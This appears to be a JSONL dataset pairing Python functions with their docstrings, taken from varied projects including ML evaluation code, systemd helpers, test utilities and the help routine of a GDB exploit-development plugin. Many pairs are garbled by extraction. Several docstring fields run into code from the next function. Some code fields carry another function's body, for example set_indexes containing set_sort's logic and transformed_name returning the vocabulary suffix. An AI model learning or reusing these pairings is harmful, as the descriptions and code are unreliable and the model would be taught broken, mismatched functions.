Pytorch process group to its equivalent Bagua process group.Args:group: A handle of the Pytorch process group.stream: A CUDA stream used to execute NCCL operations. If ``None``,CUDA stream of the default group will be used. See :func:`new_group`for more information.Returns:A handle of the Bagua process group."} {"code": "def can_handle(self, node: Dict[str, Any]) -> bool:\n compute node in the tensorflow-graph\"\"\"", "nl": "This is a catch-all handlerreturn Truedef __call__(self, node: Dict[str, Any]) -> LayerDefinition:Transform the json-representation of a"} {"code": "def cond_states(self, var_0, dt):\n return NotImplementedError\n", "nl": "Final variance and integrated variance over dt given var_0The int_var is normalized by dtArgs:var_0: initial variancedt: time stepReturns:(var_final, var_avg)"} {"code": "def evaluate(self, output_dir, test_data, device, verbose_logging=False):\n tokenizer = self.tokenizer\n model = self.model\n model.to(device)\n args = self.args\n\n\n examples = test_data.examples\n features = test_data.features\n\n eval_loss = 0.0\n nb_eval_steps = 0\n model.eval()\n\n\n if self.args.fp16:\n from torch.cuda import amp\n\n all_results = []\n for batch in tqdm(test_data, disable=args.silent, desc=\"Running Evaluation\"):\n batch = tuple(t.to(device) for t in batch)\n\n with torch.no_grad():\n inputs = {\n \"input_ids\": batch[1],\n \"attention_mask\": batch[2],\n \"token_type_ids\": batch[3],\n }\n\n if self.args.model_type in [\n \"xlm\",\n \"roberta\",\n \"distilbert\",\n \"camembert\",\n \"electra\",\n \"xlmroberta\",\n \"bart\",\n ]:\n del inputs[\"token_type_ids\"]\n\n example_indices = batch[4]\n\n if args.model_type in [\"xlnet\", \"xlm\"]:\n inputs.update({\"cls_index\": batch[5], \"p_mask\": batch[6]})\n\n if self.args.fp16:\n with amp.autocast():\n outputs = model(**inputs)\n eval_loss += outputs[0].mean().item()\n else:\n outputs = model(**inputs)\n eval_loss += outputs[0].mean().item()\n begin_idx = len(all_results)\n for i, _ in enumerate(example_indices):\n eval_feature = features[begin_idx + i]\n unique_id = int(eval_feature.unique_id)\n if args.model_type in [\"xlnet\", \"xlm\"]:\n result = RawResultExtended(\n unique_id=unique_id,\n start_top_log_probs=to_list(outputs[0][i]),\n start_top_index=to_list(outputs[1][i]),\n end_top_log_probs=to_list(outputs[2][i]),\n end_top_index=to_list(outputs[3][i]),\n cls_logits=to_list(outputs[4][i]),\n )\n else:\n result = RawResult(\n unique_id=unique_id, start_logits=to_list(outputs[0][i]), end_logits=to_list(outputs[1][i]),\n )\n all_results.append(result)\n\n nb_eval_steps += 1\n\n eval_loss = eval_loss / nb_eval_steps\n\n prefix = \"test\"\n os.makedirs(output_dir, exist_ok=True)\n\n output_prediction_file = os.path.join(output_dir, \"predictions_{}.json\".format(prefix))\n output_nbest_file = os.path.join(output_dir, \"nbest_predictions_{}.json\".format(prefix))\n output_null_log_odds_file = os.path.join(output_dir, \"null_odds_{}.json\".format(prefix))\n\n if args.model_type in [\"xlnet\", \"xlm\"]:\n (all_predictions, all_nbest_json, scores_diff_json, out_eval,) = write_predictions_extended(\n examples,\n features,\n all_results,\n args.n_best_size,\n args.max_answer_length,\n output_prediction_file,\n output_nbest_file,\n output_null_log_odds_file,\n None,\n model.config.start_n_top,\n model.config.end_n_top,\n True,\n tokenizer,\n verbose_logging,\n )\n else:\n all_predictions, all_nbest_json, scores_diff_json = write_predictions(\n examples,\n features,\n all_results,\n args.n_best_size,\n args.max_answer_length,\n args.do_lower_case,\n output_prediction_file,\n output_nbest_file,\n output_null_log_odds_file,\n verbose_logging,\n True,\n args.null_score_diff_threshold,\n )\n\n return all_predictions, all_nbest_json, scores_diff_json, eval_loss\n", "nl": "Evaluates the model on eval_data.Utility function to be used by the eval_model() method. Not intended to be used directly."} {"code": "def list_target_unit_files(self, *modules): # -> [ (unit,enabled) ]\n List installed unit files and their enablement state (as reported\n by is-enabled). If one or more PATTERNs are specified, only units\n whose filename (just the last component of the path) matches one of\n them are shown. This command reacts to limitations of --type being\n --type=service or --type=target (and --now for some basics).\"\"\"", "nl": " show all the target units and the enabled statusenabled = {}targets = {}for target, filepath in self.each_target_file():logg.info(\"target %s\", filepath)targets[target] = filepathenabled[target] = \"static\"for unit in _all_common_targets:targets[unit] = Noneenabled[unit] = \"static\"if unit in _all_common_enabled:enabled[unit] = \"enabled\"if unit in _all_common_disabled:enabled[unit] = \"disabled\"return [ (unit, enabled[unit]) for unit in sorted(targets) ]def show_list_unit_files(self, *modules): # -> [ (unit,enabled) ][PATTERN]... -- List installed unit files"} {"code": "def syncChannelData(self, lastSynced, locale):\n self.send_syncChannelData(lastSynced, locale)\n return self.recv_syncChannelData()\n", "nl": "Parameters:- lastSynced- locale"} {"code": "def preprocess(docs, samp_size=None):\n if not samp_size:\n samp_size = 100\n\n print('Preprocessing raw texts ...')\n n_docs = len(docs)\n sentences = []\n token_lists = []\n idx_in = []\n samp = np.random.choice(n_docs, samp_size)\n for i, idx in enumerate(samp):\n sentence = preprocess_sent(docs[idx])\n token_list = preprocess_word(sentence)\n if token_list:\n idx_in.append(idx)\n sentences.append(sentence)\n token_lists.append(token_list)\n print('{} %'.format(str(np.round((i + 1) / len(samp) * 100, 2))), end='\\r')\n print('Preprocessing raw texts. Done!')\n return sentences, token_lists, idx_in\n\n", "nl": "Preprocess the data"} {"code": "def test_synchronousStop(self):", "nl": "L{task.react} handles when the reactor is stopped just before thereturned L{Deferred} fires."} {"code": "def _parse_distro_release_file(self, filepath):\n if os.path.isfile(filepath):\n with open(filepath) as fp:\n return self._parse_distro_release_content(fp.readline())\n return {}\n\n @staticmethod", "nl": "Parse a distro release file.Parameters:* filepath: Path name of the distro release file.Returns:A dictionary containing all information items."} {"code": "def get_input_function():\n", "nl": "A function to get test inputs. Returns an image with one box.image = tf.random_uniform([32, 32, 3], dtype=tf.float32)key = tf.constant('image_000000')class_label = tf.random_uniform([1], minval=0, maxval=NUMBER_OF_CLASSES, dtype=tf.int32)box_label = tf.random_uniform([1, 4], minval=0.4, maxval=0.6, dtype=tf.float32)multiclass_scores = tf.random_uniform([1, NUMBER_OF_CLASSES], minval=0.4, maxval=0.6, dtype=tf.float32)return {fields.InputDataFields.image: image,fields.InputDataFields.key: key,fields.InputDataFields.groundtruth_classes: class_label,fields.InputDataFields.groundtruth_boxes: box_label,fields.InputDataFields.multiclass_scores: multiclass_scores}class FakeDetectionModel(model.DetectionModel):A simple (and poor) DetectionModel for use in test."} {"code": "def set_indexes(self, id: int, indexes: np.ndarray):\n k = self.id_lookup[id]\n indexes = self.allocations.pop(k)\n k = sort, id\n self.id_lookup[id] = k\n self.allocations[k] = indexes\n self.dirty = True\n", "nl": "Replace the indexes for an allocation.assert indexes.dtype == np.uint32, \\f\"incorrect dtype {indexes.dtype!r}, expected uint32\"indexes.flags.writeable = Falsek = self.id_lookup[id]self.allocations[k] = indexesself.dirty = Truedef set_sort(self, id: int, sort: Any):Set the sort key for an allocation."} {"code": "def __members__(cls):\n return cls._member_map_.copy()\n", "nl": "Returns a mapping of member name->value.This mapping lists all enum members, including aliases. Note that thisis a copy of the internal mapping."} {"code": "def _get_helptext(self, *arg):\n\n (cmd,) = normalize_argv(arg, 1)\n helptext = []\n if cmd is None:\n helptext.append(red(\"PEDA\", \"bold\") + blue(\" - Python Exploit Development Assistance for GDB\", \"bold\"))\n helptext.append(\"List of \\\"peda\\\" subcommands, type the subcommand to invoke it:\\n\")\n for cmd in self.commands:\n if not cmd.startswith(\"_\"):\n func = getattr(self, cmd)\n helptext.append(\"%s -- %s\" % (cmd, green(trim(func.__doc__.strip(\"\\n\").splitlines()[0]))))\n helptext.append('\\nType \"help\" followed by subcommand for full documentation.')\n else:\n if cmd in self.commands:\n func = getattr(self, cmd)\n lines = trim(func.__doc__).splitlines()\n helptext.append(green(lines[0]))\n for line in lines[1:]:\n if \"Usage:\" in line:\n helptext.append(blue(line))\n else:\n helptext.append(line)\n else:\n for c in self.commands:\n if not c.startswith(\"_\") and cmd in c:\n func = getattr(self, c)\n helptext.append(\"%s -- %s\" % (c, green(trim(func.__doc__.strip(\"\\n\").splitlines()[0]))))\n\n return '\\n'.join(helptext)\n", "nl": "Get the help text, for internal use by help command and other aliases"} {"code": "def apply(self, rendered_sequence, lock):\n\n if not rendered_sequence.sequence:\n return\n\n if not self._custom_invalid_mutations:\n self.init_mutations()\n\n self._sequence = rendered_sequence.sequence\n last_request = self._sequence.last_request\n generation = self._sequence.length\n\n self._checker_log.checker_print(f\"Testing request: {last_request.endpoint} {last_request.method}\")\n\n", "nl": " Fuzzes each value in the parameters of this request as specified bythe custom dictionary and settings for this checker.@param rendered_sequence: Object containing the rendered sequence information@type rendered_sequence: RenderedSequence@param lock: Lock object used to sync more than one fuzzing job@type lock: thread.Lock@return: None@rtype : None"} {"code": "def set_antialiased(self, aa):\n if aa is None:\n aa = mpl.rcParams['patch.antialiased']\n self._antialiaseds = np.atleast_1d(np.asarray(aa, bool))\n self.stale = True\n", "nl": "Set the antialiasing state for rendering.Parameters----------aa : bool or sequence of bools"} {"code": "def WriteInit(self, out):\n self.__client_info.package)\n printer('\n else:\n printer('\"\"\"Package marker file.\"\"\"')", "nl": "Write a simple __init__.py for the generated client.printer = self._GetPrinter(out)if self.__init_wildcards_file:printer('Common imports for generated %s client library.',"} {"code": "def GetAccumulatorValues(self):\n return self.accumulators.Transform(lambda acc: acc.GetValue())\n", "nl": "Recursively gets values of all accumulators.Returns:`.NestedMap` of Tensors for each registered accumulator."} {"code": "def transformed_name(key: str) -> str:\n return key + '_vocab'\n\n", "nl": "Generate the name of the transformed feature from original name.return key + '_xf'def vocabulary_name(key: str) -> str:Generate the name of the vocabulary feature from original name."} {"code": "def line_count(s):\n for lineno, line in enumerate(code.splitlines(), start=1):\n print(\" {} {}\".format(\"X\" if lineno in linenos else \" \", line))\n\n\nclass LineCountTest(CoverageTest):\n \"\"\"Test the helpers here.\"\"\"", "nl": "How many measurable lines are in `s`?return len(list(filter(measurable_line, s.splitlines())))def print_simple_annotation(code, linenos):Print the lines in `code` with X for each line number in `linenos`."} {"code": "def L2_norm(doc_vec):\n\n doc_vec /= np.linalg.norm(doc_vec)\n\n if doc_vec.any():\n assert np.isclose(1.0, np.linalg.norm(doc_vec))\n else:\n logger.warning(\"Warning L2 norm not satisifed (0-vector returned)\")\n doc_vec = np.zeros(doc_vec.shape)\n\n return doc_vec\n\n", "nl": "Renormalize document vector onto the hypersphere.Args:doc_vec (numpy array): Document vectorReturns:doc_vec: Normalized document vector"} {"code": "def read_class_names(class_file_name):\n with open(anchors_path) as f:\n anchors = f.readline()\n anchors = np.array(anchors.split(','), dtype=np.float32)\n return anchors.reshape(3, 3, 2)\n\n", "nl": "loads class name from a filenames = {}with open(class_file_name, 'r') as data:for ID, name in enumerate(data):names[ID] = name.strip('\\n')return namesdef get_anchors(anchors_path):loads the anchors from a file"} {"code": "def check_state(self, state):\n\n if 'architecture' not in state:\n raise IncompatibleStateError(\n \"Architecture is missing from neural network state.\")\n h5_arch = state['architecture']\n\n if 'inputs' not in h5_arch:\n raise IncompatibleStateError(\n \"Architecture parameter 'inputs' is missing from neural \"\n \"network state.\")\n h5_inputs = h5_arch['inputs']\n for input_id, input_value in enumerate(self.inputs):\n h5_input = h5_inputs[str(input_id)]\n self._check_h5_dict(h5_input, input_value)\n\n if 'layers' not in h5_arch:\n raise IncompatibleStateError(\n \"Architecture parameter 'layers' is missing from neural \"\n \"network state.\")\n h5_layers = h5_arch['layers']\n for layer_id, layer in enumerate(self.layers):\n h5_layer = h5_layers[str(layer_id)]\n self._check_h5_dict(h5_layer, layer)\n\n if 'output_layer' not in h5_arch.attrs:\n raise IncompatibleStateError(\n \"Architecture parameter 'output_layer' is missing from \"\n \"neural network state.\")\n h5_value = h5_arch.attrs['output_layer']\n if self.output_layer != h5_value:\n raise IncompatibleStateError(\n \"Neural network state has output_layer={1}, while \"\n \"this architecture has output_layer={0}.\".format(\n self.output_layer, h5_value))\n\n @staticmethod", "nl": "Checks that the architecture stored in a state matches thisnetwork architecture, and raises an ``IncompatibleStateError``if not.:type state: h5py.File:param state: HDF5 file that contains the architecture parameters"} {"code": "def register_vcs_handler(vcs, method): # decorator\n if vcs not in HANDLERS:\n HANDLERS[vcs] = {}\n HANDLERS[vcs][method] = f\n return f\n\n return decorate\n\n", "nl": "Decorator to mark a method as the handler for a particular VCS.def decorate(f):Store f in HANDLERS[vcs][method]."} {"code": "def value(self) -> float:\n if self._short:\n old_val = self.initial_value\n cur_val = self.nshares * self.price\n return old_val + (old_val - cur_val)\n if self._long:\n return self.nshares * self.price\n\n @property", "nl": "Returns the current market value of the position."} {"code": "def _show_event(self, event=None):\n self.hidetip()\n", "nl": "event handler to display the tooltipif self.hover_delay:self.schedule()else:self.showtip()def _hide_event(self, event=None):event handler to hide the tooltip"} {"code": "def arcs_unpredicted(self):\n return [l1 for l1,count in iitems(self.exit_counts) if count > 1]\n", "nl": "Returns a sorted list of the executed arcs missing from the code.possible = self.arc_possibilities()executed = self.arcs_executed()# Exclude arcs here which connect a line to itself. They can occur# in executed data in some cases. This is where they can cause# trouble, and here is where it's the least burden to remove them.# Also, generators can somehow cause arcs from \"enter\" to \"exit\", so# make sure we have at least one positive value.unpredicted = (e for e in executedif e not in possibleand e[0] != e[1]and (e[0] > 0 or e[1] > 0))return sorted(unpredicted)def branch_lines(self):Returns a list of line numbers that have more than one exit."} {"code": "def get_r50_l16_config():\n config = get_l16_config()\n config.patches.size = (32, 32)\n return config\n\n", "nl": "Returns the Resnet50 + ViT-L/16 configuration. customized config = get_l16_config()config.patches.grid = (16, 16)config.resnet = ml_collections.ConfigDict()config.resnet.num_layers = (3, 4, 9)config.resnet.width_factor = 1config.classifier = 'seg'config.resnet_pretrained_path = '../model/vit_checkpoint/imagenet21k/R50+ViT-B_16.npz'config.decoder_channels = (256, 128, 64, 16)config.skip_channels = [512, 256, 64, 16]config.n_classes = 2config.activation = 'softmax'return configdef get_l32_config():Returns the ViT-L/32 configuration."} {"code": "def counts(self, axis: int = 1) -> list:\n return np.array(self.data.sum(axis)).flatten().tolist()\n\n @property\n @abstractmethod", "nl": "Count number of photons or clicks.Counts number of photons/clicks in each sample (``axis==1``) or number of photons/clicksin each mode compounded over all samples (``axis==0``).Args:axis (int): axis to perform countReturns:list: counts from samples"} {"code": "def test_ok_opt_missing(self) -> None:\n data = {\"pos\": PointDecorated(1, 2), \"pos_list\": []}\n nested: NestedDecorated = NestedDecorated(**data)\n self.check_result(nested)\n", "nl": "Valid JSON string without optional field.object_repr = '{\"pos\": {\"x_val\": 1, \"y_val\": 2}}'nested: Nested = type_checked_call()(Nested)(**json.loads(object_repr))self.check_result(nested)def test_from_dict_decorated(self) -> None:Valid JSON string."} {"code": "def test_paralleldiagnostics_helper_load_modules_from_list_type(self):\n modules_to_load = [\"aptlog.yaml\", \"arpcache.yaml\"]\n modules = self.load_modules_from_list(modules_to_load)\n self.assertIsInstance(modules[0], ec2rlcore.module.Module)\n", "nl": "Self-tests if the load_modules_from_list helper function works.Checks if modules are of the ec2rlcore.module.Module type"} {"code": "def test_field_blank_option(self):\n self.assertTrue(re.search(SELECTED_OPTION_PATTERN % 'WA',\n str(self.form['state'])))\n self.assertTrue(re.search(SELECTED_OPTION_PATTERN % 'QLD',\n str(self.form['state_required'])))\n self.assertTrue(re.search(INPUT_VALUE_PATTERN % '1234',\n str(self.form['postcode'])))\n self.assertTrue(re.search(INPUT_VALUE_PATTERN % '4321',\n str(self.form['postcode_required'])))\n", "nl": "Test that the empty option is there.self.assertTrue(re.search(BLANK_OPTION_PATTERN,str(self.form['state'])))def test_selected_values(self):Ensure selected states match the initial values provided."} {"code": "def __reduce__(self):\n\n kargs = {\"name\":self.getBasename()}\n\n add_attr_map = self.getAddAttrArgs()\n\n return (_unpickleNode, (self.__class__, self.getObjectType(), add_attr_map, None, kargs))\n\n", "nl": "Built-in method. Handles pickling of the current Maya node."} {"code": "def assert_array_almost_equal_nulp(x, y, nulp=1):\n __tracebackhide__ = True\n import numpy as np\n ax = np.abs(x)\n ay = np.abs(y)\n ref = nulp * np.spacing(np.where(ax > ay, ax, ay))\n if not np.all(np.abs(x-y) <= ref):\n if np.iscomplexobj(x) or np.iscomplexobj(y):\n msg = \"X and Y are not equal to %d ULP\" % nulp\n else:\n max_nulp = np.max(nulp_diff(x, y))\n msg = \"X and Y are not equal to %d ULP (max is %g)\" % (nulp, max_nulp)\n raise AssertionError(msg)\n\n", "nl": "Compare two arrays relatively to their spacing.This is a relatively robust method to compare two arrays whose amplitudeis variable.Parameters----------x, y : array_likeInput arrays.nulp : int, optionalThe maximum number of unit in the last place for tolerance (see Notes).Default is 1.Returns-------NoneRaises------AssertionErrorIf the spacing between `x` and `y` for one or more elements is largerthan `nulp`.See Also--------assert_array_max_ulp : Check that all items of arrays differ in at mostN Units in the Last Place.spacing : Return the distance between x and the nearest adjacent number.Notes-----An assertion is raised if the following condition is not met::abs(x - y) <= nulps * spacing(maximum(abs(x), abs(y)))Examples-------->>> x = np.array([1., 1e-10, 1e-20])>>> eps = np.finfo(x.dtype).eps>>> np.testing.assert_array_almost_equal_nulp(x, x*eps/2 + x)>>> np.testing.assert_array_almost_equal_nulp(x, x*eps + x)Traceback (most recent call last):...AssertionError: X and Y are not equal to 1 ULP (max is 2)"} {"code": "def test_spew_finalizer_runs_before_we_signal_that_were_done(self):\n datapackage = {}\n resources_iterator = iter([])\n\n with mock.patch('datapackage_pipelines.wrapper.wrapper.stdout') as stdout_mock:", "nl": "Assert that the finalizer param is executed before spew is finished.We signal to other processors that we're done by writing an empty lineto STDOUT. The finalizer parameter to spew() must be executed before that,as there can be processors that depend on us finishing our processingbefore they're able to run. For example, a processor that depends on`dump_to_zip` must wait until it has finished writing to the localfilesystem."} {"code": "def read_omniglot(binarize=False):\n n_validation=1345\n", "nl": "Reads in Omniglot images.Args:binarize: whether to use the fixed binarizationReturns:x_train: training imagesx_valid: validation imagesx_test: test images"} {"code": "def send_stdin(self, msg):\n self.commander.manage.send_msg(msg, self.basecmd.cmd_id)\n", "nl": "Send data to stdin"} {"code": "def test_check_failure_with_handle_sigill_disabled(self):\n data = self._read_test_data('check_failure_with_handle_sigill=1.txt')\n expected_type = 'CHECK failure'\n expected_address = ''\n expected_state = (\n 'length == 0 || (length > 0 && data != __null) in vector.h\\n'\n 'v8::internal::Vector::Vector\\n'\n 'v8::internal::wasm::ModuleWireBytes::ModuleWireBytes\\n')\n expected_stacktrace = data\n expected_security_flag = False\n\n self._validate_get_crash_data(data, expected_type, expected_address,\n expected_state, expected_stacktrace,\n expected_security_flag)\n", "nl": "Test the CHECK failure crash with ASAN_OPTIONS=handle_sigill=0.data = self._read_test_data('check_failure_with_handle_sigill=0.txt')expected_type = 'CHECK failure'expected_address = ''expected_state = ('length == 0 || (length > 0 && data != __null) in vector.h\\n')expected_stacktrace = dataexpected_security_flag = Falseself._validate_get_crash_data(data, expected_type, expected_address,expected_state, expected_stacktrace,expected_security_flag)def test_check_failure_with_handle_sigill_enabled(self):Test the CHECK failure crash with ASAN_OPTIONS=handle_sigill=1."} {"code": "def _mutates_state(hash_key=None):", "nl": "Decorator that marks a function as mutating the state of the underlying environment."} {"code": "def _needs_reindex_multi(self, axes, method, level):\n return False\n", "nl": "Don't allow a multi reindex on Panel or above ndim."} {"code": "def is_ready(self, shutit_module_obj):\n\t\tshutit_global.shutit_global_object.yield_to_draw()\n\t\tif shutit_module_obj.module_id in self.get_current_shutit_pexpect_session_environment().modules_ready:\n\t\t\tself.log('is_ready: returning True from cache',level=logging.DEBUG)\n\t\t\treturn True\n\t\tready = shutit_module_obj.check_ready(self)\n\t\tif ready:\n\t\t\tself.get_current_shutit_pexpect_session_environment().modules_ready.append(shutit_module_obj.module_id)\n\t\t\treturn True\n\t\treturn False\n\n", "nl": "Returns true if this module is ready to be built.Caches the result (as it's assumed not to change during the build)."} {"code": "def get_plus_sign_symbol(locale=LC_NUMERIC):\n return Locale.parse(locale).number_symbols.get('plusSign', u'+')\n\n", "nl": "Return the plus sign symbol used by the current locale.>>> get_plus_sign_symbol('en_US')u'+':param locale: the `Locale` object or locale identifier"} {"code": "def _index_document(index_list):\n if isinstance(index_list, abc.Mapping):\n raise TypeError(\n \"passing a dict to sort/create_index/hint is not \"\n \"allowed - use a list of tuples instead. did you \"\n \"mean %r?\" % list(index_list.items())\n )\n elif not isinstance(index_list, (list, tuple)):\n raise TypeError(\"must use a list of (key, direction) pairs, not: \" + repr(index_list))\n if not len(index_list):\n raise ValueError(\"key_or_list must not be the empty list\")\n\n index: SON[str, Any] = SON()\n for (key, value) in index_list:\n if not isinstance(key, str):\n raise TypeError(\"first item in each key pair must be an instance of str\")\n if not isinstance(value, (str, int, abc.Mapping)):\n raise TypeError(\n \"second item in each key pair must be 1, -1, \"\n \"'2d', or another valid MongoDB index specifier.\"\n )\n index[key] = value\n return index\n\n", "nl": "Helper to generate an index specifying document.Takes a list of (key, direction) pairs."} {"code": "def opt_under_score(self, value):\n self.underscoreValue = value\n opt_u = opt_under_score\n\n\n\nclass TypedTests(unittest.TestCase):\n \"\"\"", "nl": "This option has an underscore in its name to exercise the _ to -translation."} {"code": "def decode(self, data):\n return data\n", "nl": "Decodes the data which was read.:return: decoded data."} {"code": "def __init__(self, *args, **kwargs):\n\n self.attributes = {}\n self.children = []\n self.parent = None\n self.document = None\n\n self.is_inline = kwargs.pop('__inline', self.is_inline)\n self.is_pretty = kwargs.pop('__pretty', self.is_pretty)\n\n if args:\n self.add(*args)\n\n for attr, value in kwargs.items():\n self.set_attribute(*dom_tag.clean_pair(attr, value))\n\n self._ctx = None\n self._add_to_ctx()\n", "nl": "Creates a new tag. Child tags should be passed as aruguments and attributesshould be passed as keyword arguments.There is a non-rendering attribute which controls how the tag renders:* `__inline` - Boolean value. If True renders all children tags on the sameline."} {"code": "def getCTS(self):\n if not self.sPort: raise portNotOpenError\n self.sPort.isDSR()\n", "nl": "Read terminal status line: Clear To Sendif not self.sPort: raise portNotOpenErrorself.sPort.isCTS()def getDSR(self):Read terminal status line: Data Set Ready"} {"code": "def push(self, value=None):\n do not support attribute assignment (most of itertools). '''", "nl": " Add a new :class:`Bottle` instance to the stack if not isinstance(value, Bottle):value = Bottle()self.append(value)return valueclass WSGIFileWrapper(object):def __init__(self, fp, buffer_size=1024*64):self.fp, self.buffer_size = fp, buffer_sizefor attr in ('fileno', 'close', 'read', 'readlines', 'tell', 'seek'):if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr))def __iter__(self):buff, read = self.buffer_size, self.readwhile True:part = read(buff)if not part: returnyield partclass _closeiter(object): This only exists to be able to attach a .close method to iterators that"} {"code": "def calculate_lexical_similarity(x_sequences, y_sequences, tfidf_vectorizer):\n x_sequence = ' '.join(x_sequences)\n y_sequence = ' '.join(y_sequences)\n x = _calculate_tfidf_vector(tfidf_vectorizer, x_sequence)\n y = _calculate_tfidf_vector(tfidf_vectorizer, y_sequence)\n\n return x.dot(y.T)[0, 0]\n\n", "nl": "Computes lexical similarity between two lists of texts.lexical_similarity = cos(x_vector, y_vector)where x_vector and y_vector are tf-idf representations of texts."} {"code": "def handleEvent(self, eventObj):\n\n if eventObj.type not in (MOUSEMOTION, MOUSEBUTTONUP, MOUSEBUTTONDOWN) or not self._visible:\n return []\n\n retVal = []\n\n hasExited = False\n if not self.mouseOverButton and self._rect.collidepoint(eventObj.pos):\n self.mouseOverButton = True\n self.mouseEnter(eventObj)\n retVal.append('enter')\n elif self.mouseOverButton and not self._rect.collidepoint(eventObj.pos):\n self.mouseOverButton = False\n hasExited = True\n\n if self._rect.collidepoint(eventObj.pos):\n if eventObj.type == MOUSEMOTION:\n self.mouseMove(eventObj)\n retVal.append('move')\n elif eventObj.type == MOUSEBUTTONDOWN:\n self.buttonDown = True\n self.lastMouseDownOverButton = True\n self.mouseDown(eventObj)\n retVal.append('down')\n else:\n if eventObj.type in (MOUSEBUTTONUP, MOUSEBUTTONDOWN):\n self.lastMouseDownOverButton = False\n\n doMouseClick = False\n if eventObj.type == MOUSEBUTTONUP:\n if self.lastMouseDownOverButton:\n doMouseClick = True\n self.lastMouseDownOverButton = False\n\n if self.buttonDown:\n self.buttonDown = False\n self.mouseUp(eventObj)\n retVal.append('up')\n\n if doMouseClick:\n self.buttonDown = False\n self.mouseClick(eventObj)\n retVal.append('click')\n\n if hasExited:\n self.mouseExit(eventObj)\n retVal.append('exit')\n\n return retVal\n", "nl": "All MOUSEMOTION, MOUSEBUTTONUP, MOUSEBUTTONDOWN event objectscreated by Pygame should be passed to this method. handleEvent() willdetect if the event is relevant to this button and change its state.There are two ways that your code can respond to button-events. One isto inherit the PygButton class and override the mouse*() methods. Theother is to have the caller of handleEvent() check the return valuefor the strings 'enter', 'move', 'down', 'up', 'click', or 'exit'.Note that mouseEnter() is always called before mouseMove(), andmouseMove() is always called before mouseExit(). Also, mouseUp() isalways called before mouseClick().buttonDown is always True when mouseDown() is called, and always Falsewhen mouseUp() or mouseClick() is called. lastMouseDownOverButton isalways False when mouseUp() or mouseClick() is called."} {"code": "def interleave(*iterables):\n return chain.from_iterable(zip(*iterables))\n\n", "nl": "Return a new iterable yielding from each iterable in turn,until the shortest is exhausted.>>> list(interleave([1, 2, 3], [4, 5], [6, 7, 8]))[1, 4, 6, 2, 5, 7]For a version that doesn't terminate after the shortest iterable isexhausted, see :func:`interleave_longest`."} {"code": "def log_probs(self):\n return np.array([m['log_probs'] for m in self.model_outs], dtype=np.float32)\n", "nl": "Get the initial log probabilities from the modelat each timestep."} {"code": "def glob_to_cidrs(ipglob):\n return iprange_to_cidrs(*glob_to_iptuple(ipglob))\n\n", "nl": "A function that accepts a glob-style IP range and returns a list of oneor more IP CIDRs that exactly matches it.:param ipglob: an IP address range in a glob-style format.:return: a list of one or more IP objects."} {"code": "def isReady(self):\n if( self.mDiffImg is None ):\n return False\n else:\n return True\n\n", "nl": "Returns true if the camera has a segmented image ready."} {"code": "def mark(testcase, security, severity):\n\n @handler.post(handler.JSON, handler.JSON)\n @handler.require_csrf_token", "nl": "Mark the testcase as security-related.testcase.security_flag = securityif security:if not severity:severity = severity_analyzer.get_security_severity(testcase.crash_type, testcase.crash_stacktrace, testcase.job_type,bool(testcase.gestures))testcase.security_severity = severitybisection.request_bisection(testcase)else:# The bisection infrastructure only cares about security bugs. If this was# marked as non-security, mark it as invalid.bisection.notify_bisection_invalid(testcase)testcase.put()helpers.log(f'Set security flags on testcase {testcase.key.id()} to {security}.',helpers.MODIFY_OPERATION)class Handler(base_handler.Handler):Handler that removes an issue from a testcase."} {"code": "def save_to_slots(slots: Any) -> None:\n so that slots can be filled\"\"\"", "nl": "A decorator for saving to slots. Ignores `NoneType`.raise NotImplementedError@save_to_slots.registerdef _(slots: str) -> Callable:def slot_decorator(func: Callable) -> Callable:@functools.wraps(func)def slot_wrapper(ctx: Context, actor: Actor) -> Optional[str]:result = func(ctx, actor)if result is None:return ctxreturn save_slots_to_ctx({slots: result})(ctx, actor)return slot_wrapperreturn slot_decorator@save_to_slots.registerdef _(slots: tuple) -> Callable:def slot_decorator(func: Callable) -> Callable:@functools.wraps(func)def slot_wrapper(ctx: Context, actor: Actor) -> Context:results = func(ctx, actor)if results is None:return ctxreturn save_slots_to_ctx({slot: result for slot, result in zip(slots, results) if result is not None})(ctx, actor)return slot_wrapperreturn slot_decoratordef save_next_key(keys: Iterator, maindict: dict) -> Callable:try:return save_slots_to_ctx(maindict[next(keys)])except StopIteration:return save_slots_to_ctx(maindict[random.choice(list(maindict.keys()))])def execute_response(ctx: Context,actor: Actor,) -> Context:Execute the callable response preemptively,"} {"code": "def get_socket(self, sid):\n connection.\n \"\"\"", "nl": "Returns the socket associated to the SID.return self._sessions.get(sid, None)def handshake(self, to, ifrom=None, sid=None, timeout=None): Starts the handshake to establish the socks5 bytestreams"} {"code": "def __init__(self, sock, protocol, clientAddr, serverAddr, sessionno, reactor):\n Connection.__init__(self, sock, protocol, reactor)\n self.serverAddr = serverAddr\n self.clientAddr = clientAddr\n self.sessionno = sessionno\n logPrefix = self._getLogPrefix(self.protocol)\n self.logstr = \"%s,%s,%s\" % (logPrefix, sessionno, self.clientAddr.host)\n self.repstr = \"<%s\n self.sessionno, self.serverAddr.port)\n self.connected = True\n self.startReading()\n\n", "nl": "Server(sock, protocol, client, server, sessionno)Initialize me with a socket, a protocol, a descriptor for my peer (atuple of host, port describing the other end of the connection), aninstance of Port, and a session number."} {"code": "def swapon_label(self, label):\n return self.inner_cmd(\"swapon_label %s\" % label)\n", "nl": "swapon-label - enable swap on labeled swap partitionThis command enables swap to a labeled swap partition. See\"swapon_device\" for other notes."} {"code": "def bake_lazy_loaders():\n pass\n\n\n@util.deprecated(", "nl": "Enable the use of baked queries for all lazyloaders systemwide.The \"baked\" implementation of lazy loading is now the sole implementationfor the base lazy loader; this method has no effect except for a warning."} {"code": "def _stopRetrying(self):\n self._retryCall.cancel()\n del self._retryCall\n\n\n @_machine.output()", "nl": "Stop pending attempt to reconnect."} {"code": "def expectParams(*params, **keywords):", "nl": "check that the callObj is called with specified params and keywords"} {"code": "def request_element(self, path):\n headers = {'Accept': 'application/orcid+json'}\n url = self.api_uri + path\n return requests.get(url, headers=headers).json()\n", "nl": "Returns the base URL of the profile on the API"} {"code": "def when(self, matches, context): # pragma: no cover\n pass\n\n\n@six.add_metaclass(ABCMeta)\nclass CustomRule(Condition, Consequence):\n \"\"\"\n priority = 0\n name = None\n dependency = None\n properties = {}\n", "nl": "Condition implementation.:param matches::type matches: rebulk.match.Matches:param context::type context::return: truthy if rule should be triggered and execute then action, falsy if it should not.:rtype: object"} {"code": "def is_pcie_device(self):\n General device which allows to specify methods by fixed or parametrizable\n strings in this format:\n\n ::\n\n \"%(type)s,id=%(id)s,addr=%(addr)s\"\n\n ``params`` will be used to subst ``%()s``\n \"\"\"", 